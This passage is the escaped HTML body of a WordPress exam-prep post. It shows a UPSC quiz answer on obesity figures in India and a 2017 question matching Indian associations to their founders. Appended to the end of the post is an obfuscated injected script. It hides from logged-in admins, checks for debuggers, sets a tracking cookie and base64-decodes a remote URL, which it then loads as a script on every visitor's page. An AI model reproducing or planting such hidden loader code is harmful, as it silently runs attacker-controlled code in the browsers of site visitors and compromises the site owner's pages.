wp-block-paragraph\"><strong>Answer: (b) 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-141\">\n<li>According to the WHF 2025 report, <strong>childhood obesity<\/strong> has<strong> increased since 1990.<\/strong><\/li>\n\n\n\n<li>5.2 million girls and 7.3 million boys (ages 5\u201319) are obese \u2014 a ~3% rise since 1990.<\/li>\n\n\n\n<li>Women show a higher burden of obesity than men.<strong> 24% of Indian women<\/strong> are obese vs <strong>23% of Indian men.<\/strong><\/li>\n\n\n\n<li>But in absolute numbers, women bear a disproportionately higher burden: 44 million women (10%) vs 26 million men (5%).<\/li>\n\n\n\n<li>High BMI accounts for a greater percentage of cardiovascular deaths in women than in men.<\/li>\n\n\n\n<li>7% of CVD deaths in women are linked to obesity vs 4.6% in men.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>10. Consider the following pairs: (UPSC PYQ 2017)<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td>1<\/td><td>Radhakanta Deb<\/td><td>First President of the British Indian Association<\/td><\/tr><tr><td>2<\/td><td>Gazulu Lakshmi Narasu Chetty<\/td><td>Founder of the Madras Mahajana Sabha<\/td><\/tr><tr><td>3<\/td><td>Surendranath Banerjee<\/td><td>Founder of the Indian Association<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Which of the above pairs is\/are correctly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Answer: (b) 1 and 3 only<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following: 1. 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